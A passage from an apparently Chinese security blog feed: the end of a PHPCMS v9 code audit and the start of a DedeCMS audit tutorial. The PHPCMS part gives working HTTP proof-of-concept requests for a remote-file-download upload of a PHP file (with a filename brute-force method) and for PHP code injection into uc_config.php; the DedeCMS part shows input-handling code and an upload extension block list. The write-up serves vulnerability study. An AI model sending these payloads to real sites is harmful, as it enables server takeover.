为当前类的方法,则可以执行</span><br> <span class="hljs-keyword">if</span>(method_exists(<span class="hljs-keyword">$this</span>, <span class="hljs-variable">$func</span>)) <span class="hljs-variable">$value</span> = <span class="hljs-keyword">$this</span>-><span class="hljs-variable">$func</span>(<span class="hljs-variable">$field</span>, <span class="hljs-variable">$value</span>);<br><span class="hljs-variable">$info</span>[<span class="hljs-variable">$field</span>] = <span class="hljs-variable">$value</span>;<br> }<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$info</span>;<br> }<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">editor</span>(<span class="hljs-params"><span class="hljs-variable">$field</span>, <span class="hljs-variable">$value</span></span>) </span>{<br> <span class="hljs-variable">$setting</span> = string2array(<span class="hljs-keyword">$this</span>->fields[<span class="hljs-variable">$field</span>][<span class="hljs-string">'setting'</span>]);<br> <span class="hljs-variable">$enablesaveimage</span> = <span class="hljs-variable">$setting</span>[<span class="hljs-string">'enablesaveimage'</span>];<br> <span class="hljs-variable">$site_setting</span> = string2array(<span class="hljs-keyword">$this</span>->site_config[<span class="hljs-string">'setting'</span>]);<br> <span class="hljs-variable">$watermark_enable</span> = intval(<span class="hljs-variable">$site_setting</span>[<span class="hljs-string">'watermark_enable'</span>]);<br> <span class="hljs-variable">$value</span> = <span class="hljs-keyword">$this</span>->attachment->download(<span class="hljs-string">'content'</span>, <span class="hljs-variable">$value</span>,<span class="hljs-variable">$watermark_enable</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$value</span>;<br>}<br></code></pre></td></tr></table></figure><p>跟进 download() 代码</p><blockquote><p>phpcms/libs/classes/attachment.class.php</p></blockquote><ul><li>attachment 类在实例化<code>__construct()</code> 时已经确定了 upload_func = ‘copy’ ,在后面通过 $upload_func 就会调用 copy() 方法,是文件写入地方。但在写入前,还有一大堆处理需要分析</li><li>传入 download() 的 $fidld=’content’,$value为用户post数据,可控</li><li>download() 通过正则表达式等限制了 $value 必须为 .jpg 这样的后缀,这样我们写入的文件就没有危害了</li><li>但后面存在一个 fillurl() 会帮我们格式化正则匹配的连接,如去掉#号后面的内容,这样我们便可以通过如:1.php#1.jpg的方式绕过前面正则的限制</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">attachment</span> </span>{<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$module</span>=<span class="hljs-string">''</span>, <span class="hljs-variable">$catid</span> = <span class="hljs-number">0</span>,<span class="hljs-variable">$siteid</span> = <span class="hljs-number">0</span>,<span class="hljs-variable">$upload_dir</span> = <span class="hljs-string">''</span></span>) </span>{<br> <span class="hljs-keyword">$this</span>->upload_root = pc_base::load_config(<span class="hljs-string">'system'</span>,<span class="hljs-string">'upload_path'</span>);<br> <span class="hljs-keyword">$this</span>->upload_func = <span class="hljs-string">'copy'</span>;<br>}<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">download</span>(<span class="hljs-params"><span class="hljs-variable">$field</span>, <span class="hljs-variable">$value</span>,<span class="hljs-variable">$watermark</span> = <span class="hljs-string">'0'</span>,<span class="hljs-variable">$ext</span> = <span class="hljs-string">'gif|jpg|jpeg|bmp|png'</span>, <span class="hljs-variable">$absurl</span> = <span class="hljs-string">''</span>, <span class="hljs-variable">$basehref</span> = <span class="hljs-string">''</span></span>)</span>{<br> <span class="hljs-variable">$string</span> = new_stripslashes(<span class="hljs-variable">$value</span>);<br> <span class="hljs-variable">$remotefileurls</span> = <span class="hljs-keyword">array</span>();<br> <span class="hljs-comment">// 正则匹配 $value ,有效示例:href=http://www.baidu.com/1.php#1.jpg</span><br> <span class="hljs-keyword">if</span>(!preg_match_all(<span class="hljs-string">"/(href|src)=([\"|']?)([^ \"'>]+\.(<span class="hljs-subst">$ext</span>))\\2/i"</span>, <span class="hljs-variable">$string</span>, <span class="hljs-variable">$matches</span>)) <span class="hljs-keyword">return</span> <span class="hljs-variable">$value</span>;<br> <span class="hljs-comment">// $matchesp[3] href跳转的连接,示例:http://www.baidu.com/1.php#1.jpg</span><br> <span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$matches</span>[<span class="hljs-number">3</span>] <span class="hljs-keyword">as</span> <span class="hljs-variable">$matche</span>)<br> {<br> <span class="hljs-comment">// 必须有 :// ,表示为远程文件</span><br> <span class="hljs-keyword">if</span>(strpos(<span class="hljs-variable">$matche</span>, <span class="hljs-string">'://'</span>) === <span class="hljs-literal">false</span>) <span class="hljs-keyword">continue</span>;<br> dir_create(<span class="hljs-variable">$uploaddir</span>);<br> <span class="hljs-comment">// fillurl()会格式化url,去掉#后面的内容,从而使得我们能写入php后缀文件,示例:http://www.baidu.com/1.php</span><br> <span class="hljs-variable">$remotefileurls</span>[<span class="hljs-variable">$matche</span>] = <span class="hljs-keyword">$this</span>->fillurl(<span class="hljs-variable">$matche</span>, <span class="hljs-variable">$absurl</span>, <span class="hljs-variable">$basehref</span>);<br> }<br> <span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$remotefileurls</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$k</span>=><span class="hljs-variable">$file</span>) {<br> <span class="hljs-comment">// 再次检测连接中有 ://</span><br> <span class="hljs-keyword">if</span>(strpos(<span class="hljs-variable">$file</span>, <span class="hljs-string">'://'</span>) === <span class="hljs-literal">false</span> || strpos(<span class="hljs-variable">$file</span>, <span class="hljs-variable">$upload_url</span>) !== <span class="hljs-literal">false</span>) <span class="hljs-keyword">continue</span>;<br> <span class="hljs-comment">// 获取文件后缀名 示例:php</span><br> <span class="hljs-variable">$filename</span> = fileext(<span class="hljs-variable">$file</span>);<br><span class="hljs-comment">// 生成随机文件名</span><br> <span class="hljs-variable">$filename</span> = <span class="hljs-keyword">$this</span>->getname(<span class="hljs-variable">$filename</span>);<br> <span class="hljs-variable">$newfile</span> = <span class="hljs-variable">$uploaddir</span>.<span class="hljs-variable">$filename</span>;<br> <span class="hljs-comment">// $upload_func='copy'</span><br> <span class="hljs-variable">$upload_func</span> = <span class="hljs-keyword">$this</span>->upload_func;<br> <span class="hljs-comment">// 最终 copy() 写入文件</span><br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$upload_func</span>(<span class="hljs-variable">$file</span>, <span class="hljs-variable">$newfile</span>)) {……}<br> }<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">fillurl</span>(<span class="hljs-params"><span class="hljs-variable">$surl</span>, <span class="hljs-variable">$absurl</span>, <span class="hljs-variable">$basehref</span> = <span class="hljs-string">''</span></span>) </span>{<br> <span class="hljs-comment">// 去掉 # 后面的内容,帮助我们绕过后缀限制 </span><br> <span class="hljs-variable">$pos</span> = strpos(<span class="hljs-variable">$surl</span>,<span class="hljs-string">'#'</span>);<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$pos</span>><span class="hljs-number">0</span>) <span class="hljs-variable">$surl</span> = substr(<span class="hljs-variable">$surl</span>,<span class="hljs-number">0</span>,<span class="hljs-variable">$pos</span>);<br> ……<br> }<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getname</span>(<span class="hljs-params"><span class="hljs-variable">$fileext</span></span>)</span>{<br> <span class="hljs-keyword">return</span> date(<span class="hljs-string">'Ymdhis'</span>).rand(<span class="hljs-number">100</span>, <span class="hljs-number">999</span>).<span class="hljs-string">'.'</span>.<span class="hljs-variable">$fileext</span>;<br>}<br></code></pre></td></tr></table></figure><p>通过分析我们还是能写入文件,只是文件名是随机生成的,需要我们去猜测,总结目录文件名的生成规律如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php">文件名:<span class="hljs-number">1</span>.php<span class="hljs-comment">#1.jpg</span><br>写入文件名:uploadfile/date(<span class="hljs-string">'Y/md/'</span>)/date(<span class="hljs-string">'Ymdhis'</span>).rand(<span class="hljs-number">100</span>, <span class="hljs-number">999</span>).<span class="hljs-string">'.'</span>.php;<br>示例:<br>date(<span class="hljs-string">'Y/md/'</span>),date(<span class="hljs-string">'Ymdhis'</span>) 和时间有关,唯一难确定的就是秒数,不过猜测也就是几秒之间徘徊<br>rand(<span class="hljs-number">100</span>,<span class="hljs-number">999</span>) 随机数<span class="hljs-number">3</span>位,还算好猜测,所以最终只需要爆破<span class="hljs-number">4</span>位数就能获取到写入的文件名<br></code></pre></td></tr></table></figure><p>漏洞利用poc,注意对特殊符号url编码:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/index.php?m=member&c=index&a=register&siteid=1</span> <span class="hljs-meta">HTTP/1.1</span><br><span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>phpcms.test:8888<br><span class="hljs-attribute">User-Agent</span><span class="hljs-punctuation">: </span>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0<br><span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br><span class="hljs-attribute">Accept-Language</span><span class="hljs-punctuation">: </span>zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2<br><span class="hljs-attribute">Accept-Encoding</span><span class="hljs-punctuation">: </span>gzip, deflate<br><span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded<br><span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>294<br><span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>http://phpcms.test:8888<br><span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>close<br><span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>http://phpcms.test:8888/index.php?m=member&c=index&a=register&siteid=1<br><span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>PHPSESSID=20cb7d807c07acf2cf5d3172b50bb10c; XDEBUG_SESSION=XDEBUG_ECLIPSE<br><span class="hljs-attribute">Upgrade-Insecure-Requests</span><span class="hljs-punctuation">: </span>1<br><br><span class="apache"><span class="hljs-attribute">siteid</span>=<span class="hljs-number">1</span>&modelid=<span class="hljs-number">1</span>&username=<span class="hljs-number">111</span>&password=<span class="hljs-number">123456</span>&pwdconfirm=<span class="hljs-number">123456</span>&email=<span class="hljs-number">111</span>%<span class="hljs-number">40</span>qq.com&nickname=<span class="hljs-number">111</span>&info%<span class="hljs-number">5</span>Bcontent%<span class="hljs-number">5</span>D=href%<span class="hljs-number">3</span>Dhttp%<span class="hljs-number">3</span>A%<span class="hljs-number">2</span>F%<span class="hljs-number">2</span>Ftest.test%<span class="hljs-number">3</span>A<span class="hljs-number">8888</span>%<span class="hljs-number">2</span>Ftest%<span class="hljs-number">2</span>F<span class="hljs-number">1</span>.php%<span class="hljs-number">231</span>.jpg&dosubmit=<span class="hljs-number">1</span></span><br></code></pre></td></tr></table></figure><p>最后总结一下,该漏洞的审计过程也是很复杂的,需要发现一条完整的利用链,虽然最后利用起来也不是很方便,但发现这种漏洞也是审计的意义</p><h2 id="后台敏感内容写入"><a href="#后台敏感内容写入" class="headerlink" title="后台敏感内容写入"></a>后台敏感内容写入</h2><blockquote><p>phpsso_server/phpcms/modules/admin/system.php</p></blockquote><p>uc() 会通过$POST传入data[]数组,并将data[]的键值写入到uc_config.php文件中,我们便可以把任意内容写入system.php中,从而获取服务器权限。但需要注意的是,尽量把exp写在data[]的键中,在全局分析中我们知道对外出传入数组的值有过滤</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">uc</span>(<span class="hljs-params"></span>) </span>{<br><span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'dosubmit'</span>])) {<br> <span class="hljs-variable">$data</span> = <span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'data'</span>]) ? <span class="hljs-variable">$_POST</span>[<span class="hljs-string">'data'</span>] : <span class="hljs-string">''</span>;<br> <span class="hljs-comment">// $uc_config 将写入一个完整php代码</span><br> <span class="hljs-variable">$uc_config</span> = <span class="hljs-string">'<?php '</span>.<span class="hljs-string">"\ndefine('UC_CONNECT', 'mysql');\n"</span>;<br> <span class="hljs-keyword">foreach</span> (<span class="hljs-variable">$data</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$k</span> => <span class="hljs-variable">$v</span>) {<br> <span class="hljs-comment">// 将一行一行的写入</span><br> <span class="hljs-variable">$uc_config</span> .= <span class="hljs-string">"define('"</span>.strtoupper(<span class="hljs-variable">$k</span>).<span class="hljs-string">"', '<span class="hljs-subst">$v</span>');\n"</span>;<br>}<br> <span class="hljs-comment">// 位于phpsso_server/caches/configs/uc_config.php,外部配置项会写入其中</span><br> <span class="hljs-variable">$uc_config_filepath</span> = CACHE_PATH.<span class="hljs-string">'configs'</span>.DIRECTORY_SEPARATOR.<span class="hljs-string">'uc_config.php'</span>;<br> @file_put_contents(<span class="hljs-variable">$uc_config_filepath</span>, <span class="hljs-variable">$uc_config</span>);<br>}<br>……<br>}<br></code></pre></td></tr></table></figure><p>POC如下:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/phpsso_server/index.php?m=admin&c=system&a=uc</span> <span class="hljs-meta">HTTP/1.1</span><br><span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>phpcms.test:8888<br><span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>285<br><span class="hljs-attribute">Cache-Control</span><span class="hljs-punctuation">: </span>max-age=0<br><span class="hljs-attribute">Upgrade-Insecure-Requests</span><span class="hljs-punctuation">: </span>1<br><span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>http://phpcms.test:8888<br><span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded<br><span class="hljs-attribute">User-Agent</span><span class="hljs-punctuation">: </span>Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36<br><span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br><span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>http://phpcms.test:8888/phpsso_server/index.php?m=admin&c=system&a=uc<br><span class="hljs-attribute">Accept-Encoding</span><span class="hljs-punctuation">: </span>gzip, deflate<br><span class="hljs-attribute">Accept-Language</span><span class="hljs-punctuation">: </span>zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6<br><span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>需要登陆<br><span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>close<br><br><span class="apache"><span class="hljs-attribute">ucuse</span>=<span class="hljs-number">0</span>&data%<span class="hljs-number">5</span>BUC_TEST','<span class="hljs-number">1</span>');phpinfo();//%<span class="hljs-number">5</span>D=<span class="hljs-number">111</span>&data%<span class="hljs-number">5</span>Buc_api%<span class="hljs-number">5</span>D=<span class="hljs-number">111</span>&data%<span class="hljs-number">5</span>Buc_ip%<span class="hljs-number">5</span>D=&data%<span class="hljs-number">5</span>Buc_dbhost%<span class="hljs-number">5</span>D=&data%<span class="hljs-number">5</span>Buc_dbuser%<span class="hljs-number">5</span>D=&data%<span class="hljs-number">5</span>Buc_dbpw%<span class="hljs-number">5</span>D=&data%<span class="hljs-number">5</span>Buc_dbname%<span class="hljs-number">5</span>D=&data%<span class="hljs-number">5</span>Buc_dbtablepre%<span class="hljs-number">5</span>D=&data%<span class="hljs-number">5</span>Buc_dbcharset%<span class="hljs-number">5</span>D=&data%<span class="hljs-number">5</span>Buc_appid%<span class="hljs-number">5</span>D=&data%<span class="hljs-number">5</span>Buc_key%<span class="hljs-number">5</span>D=&dosubmit=%E<span class="hljs-number">6</span>%<span class="hljs-number">8</span>F%<span class="hljs-number">90</span>%E<span class="hljs-number">4</span>%BA%A<span class="hljs-number">4</span></span><br></code></pre></td></tr></table></figure><p>效果如下:</p><img src="img/phpcms/image-20210831161322638.png" alt="image-20210831161322638" style="zoom:50%;" /><img src="img/phpcms/image-20210831161337998.png" alt="image-20210831161337998" style="zoom:50%;" /><h1 id="0x03-总结"><a href="#0x03-总结" class="headerlink" title="0x03 总结"></a>0x03 总结</h1><p>本次对 phpcms 做了一个代码审计,通过全局分析掌握了phpcms的基本MVC模式,能明显感受到phpcms不同于其他的CMS,它的结构更加复杂,审计起来十分磨人。其实审计phpcms的代码我也没有完全的看完,基本都是看的前人挖出的漏洞复现审计。感觉想要完全审计下这种结构的代码需要十足的耐心才行。</p><p>参考:</p><p>PHPCMS v9.6.0 任意文件上传漏洞分析:<a href="https://paper.seebug.org/273/">https://paper.seebug.org/273/</a></p><p>PHPCMS v9.6.0 wap模块 SQL注入:<a href="https://paper.seebug.org/275/">https://paper.seebug.org/275/</a> ; <a href="https://www.secpulse.com/archives/57486.html">https://www.secpulse.com/archives/57486.html</a></p><p>PHPCMS 代码审计:<a href="https://github.com/jiangsir404/PHP-code-audit/blob/master/phpcms/phpcmsv9.6.0-sqli.md">https://github.com/jiangsir404/PHP-code-audit/blob/master/phpcms/phpcmsv9.6.0-sqli.md</a></p><p>PHPCMS历史漏洞分析:<a href="https://mochazz.github.io/2019/07/18/phpcms%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%90%88%E9%9B%86/#v9-6-0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0">https://mochazz.github.io/2019/07/18/phpcms%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%90%88%E9%9B%86/#v9-6-0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0</a></p><p>PHPCMS漏洞分析合集(上):<a href="https://xz.aliyun.com/t/5730">https://xz.aliyun.com/t/5730</a></p>]]></content>
<categories>
<category>php代码审计</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>代码审计</tag>
</tags>
</entry>
<entry>
<title>通过 DedeCMS 学习 php 代码审计</title>
<link href="/2021/09/dedecms/"/>
<url>/2021/09/dedecms/</url>
<content type="html"><![CDATA[<h1 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h1><p><strong>织梦</strong>(DedeCms)也是一个国产内容管理系统,曾经爆出过众多漏洞,甚至还有人开发了dedecms漏洞一键扫描器</p><p>DedeCms和PHPCMS活跃的年代差不多,大概是2015年前,目前也都少部分人在使用</p><p>DedeCMS 目前最新版是dedecms v5.7sp2,最后更新时间大概为2018年</p><p>这里就不记录安装过程了,通过安装过程获知默认后台密码是admin/admin</p><h1 id="0x01-全局分析"><a href="#0x01-全局分析" class="headerlink" title="0x01 全局分析"></a>0x01 全局分析</h1><p>个人习惯是对程序做一个比较明晰的全局分析,至少要知道程序的入口文件是什么流程,程序有多少入口文件,对外部数据有什么全局处理方式等等</p><p>对dedecms对全局分析时,首先选择了根目录下的index.php,慢慢分析会发现,dedecms是一个多入口文件的形式,不过每个入口文件的流程都大致相同。</p><p>通过全局分析得知dedecms大致有3个主要功能,也通过不同的入口文件进入</p><p>1)网站前台首页,没有什么功能点</p><p>2)会员中心,默认是关闭该功能的,需要后台打开</p><p>3)管理员后台</p><h2 id="跟踪前台index-php的流程"><a href="#跟踪前台index-php的流程" class="headerlink" title="跟踪前台index.php的流程"></a>跟踪前台index.php的流程</h2><p>首先跟一遍index.php的流程,index.php首先会加载common.inc.php,就先看看这个文件会做什么</p><h3 id="include-common-inc-php"><a href="#include-common-inc-php" class="headerlink" title="include/common.inc.php"></a>include/common.inc.php</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 定义常量</span><br><span class="hljs-comment">//检查GPC数据是否为cfg等系统定义变量</span><br>CheckRequest()<br><span class="hljs-comment">//使用addslashes()过滤GPC数据,并注册GPC数据到程序变量</span><br>_RunMagicQuotes()<br><span class="hljs-comment">//如果存在文件上传的变量,加载文件上传的安全函数</span><br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$_FILES</span>){<span class="hljs-keyword">require_once</span>(DEDEINC.<span class="hljs-string">'/uploadsafe.inc.php'</span>);}<br><span class="hljs-comment">//数据库配置文件,里面是数据库账号密码相关变量信息</span><br><span class="hljs-keyword">require_once</span>(DEDEDATA.<span class="hljs-string">'/common.inc.php'</span>);<br><span class="hljs-comment">//自动加载类库处理</span><br><span class="hljs-keyword">require_once</span>(DEDEINC.<span class="hljs-string">'/autoload.inc.php'</span>);<br><span class="hljs-comment">//引入数据库类,这步会直接连接数据库,并返回一个数据库对象$db=$dsql</span><br><span class="hljs-keyword">require_once</span>(DEDEINC.<span class="hljs-string">'/dedesqli.class.php'</span>);<br><span class="hljs-comment">//全局常用函数</span><br><span class="hljs-keyword">require_once</span>(DEDEINC.<span class="hljs-string">'/common.func.php'</span>);<br><span class="hljs-comment">// 模块MVC框架需要的控制器和模型基类</span><br><span class="hljs-keyword">require_once</span>(DEDEINC.<span class="hljs-string">'/control.class.php'</span>);<br><span class="hljs-keyword">require_once</span>(DEDEINC.<span class="hljs-string">'/model.class.php'</span>);<br></code></pre></td></tr></table></figure><p>common.inc.php 做了很多程序的初始化工作,代码审计时需要重点关注程序处理GPC这些外部数据的方式</p><p>common.inc.php 全局处理数据的代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">foreach</span>(<span class="hljs-keyword">Array</span>(<span class="hljs-string">'_GET'</span>,<span class="hljs-string">'_POST'</span>,<span class="hljs-string">'_COOKIE'</span>) <span class="hljs-keyword">as</span> <span class="hljs-variable">$_request</span>)<br>{<br><span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$$_request</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$_k</span> => <span class="hljs-variable">$_v</span>)<br>{<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$_k</span> == <span class="hljs-string">'nvarname'</span>) ${<span class="hljs-variable">$_k</span>} = <span class="hljs-variable">$_v</span>;<br><span class="hljs-keyword">else</span> ${<span class="hljs-variable">$_k</span>} = _RunMagicQuotes(<span class="hljs-variable">$_v</span>);<br>}<br>}<br></code></pre></td></tr></table></figure><p>可以看到这个时期的DEDECMS也是使用了<code>$$</code> 直接注册了GPC的变量,有可能存在变量覆盖的问题</p><h3 id="uploadsafe-inc-php"><a href="#uploadsafe-inc-php" class="headerlink" title="uploadsafe.inc.php"></a>uploadsafe.inc.php</h3><p>这里再关心下文件上传的安全函数</p><blockquote><p>include/uploadsafe.inc.php</p></blockquote><p><code>$cfg_not_allowall</code> 为上传文件名后缀的黑名单,后面具体分析限制的逻辑</p><p><code>$imtypes</code> 为一些图片的MIME类型</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$cfg_not_allowall</span> = <span class="hljs-string">"php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml"</span>;<br><span class="hljs-variable">$keyarr</span> = <span class="hljs-keyword">array</span>(<span class="hljs-string">'name'</span>, <span class="hljs-string">'type'</span>, <span class="hljs-string">'tmp_name'</span>, <span class="hljs-string">'size'</span>);<br><span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$_FILES</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$_key</span>=><span class="hljs-variable">$_value</span>)<br>{<br> <span class="hljs-variable">$$_key</span> = <span class="hljs-variable">$_FILES</span>[<span class="hljs-variable">$_key</span>][<span class="hljs-string">'tmp_name'</span>];<br> ${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_name'</span>} = <span class="hljs-variable">$_FILES</span>[<span class="hljs-variable">$_key</span>][<span class="hljs-string">'name'</span>];<br> ${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_type'</span>} = <span class="hljs-variable">$_FILES</span>[<span class="hljs-variable">$_key</span>][<span class="hljs-string">'type'</span>] = preg_replace(<span class="hljs-string">'#[^0-9a-z\./]#i'</span>, <span class="hljs-string">''</span>, <span class="hljs-variable">$_FILES</span>[<span class="hljs-variable">$_key</span>][<span class="hljs-string">'type'</span>]);<br> ${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_size'</span>} = <span class="hljs-variable">$_FILES</span>[<span class="hljs-variable">$_key</span>][<span class="hljs-string">'size'</span>] = preg_replace(<span class="hljs-string">'#[^0-9]#'</span>,<span class="hljs-string">''</span>,<span class="hljs-variable">$_FILES</span>[<span class="hljs-variable">$_key</span>][<span class="hljs-string">'size'</span>]);<br> <span class="hljs-keyword">if</span>(!<span class="hljs-keyword">empty</span>(${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_name'</span>}) && (preg_match(<span class="hljs-string">"#\.("</span>.<span class="hljs-variable">$cfg_not_allowall</span>.<span class="hljs-string">")$#i"</span>,${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_name'</span>}) || !preg_match(<span class="hljs-string">"#\.#"</span>, ${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_name'</span>})) )<br> {<br> <span class="hljs-keyword">if</span>(!defined(<span class="hljs-string">'DEDEADMIN'</span>))<br> {<br> <span class="hljs-keyword">exit</span>(<span class="hljs-string">'Not Admin Upload filetype not allow !'</span>);<br> }<br> }<br> <span class="hljs-variable">$imtypes</span> = <span class="hljs-keyword">array</span><br> (<br> <span class="hljs-string">"image/pjpeg"</span>, <span class="hljs-string">"image/jpeg"</span>, <span class="hljs-string">"image/gif"</span>, <span class="hljs-string">"image/png"</span>, <br> <span class="hljs-string">"image/xpng"</span>, <span class="hljs-string">"image/wbmp"</span>, <span class="hljs-string">"image/bmp"</span><br> );<br> <span class="hljs-keyword">if</span>(in_array(strtolower(trim(${<span class="hljs-variable">$_key</span>.<span class="hljs-string">'_type'</span>})), <span 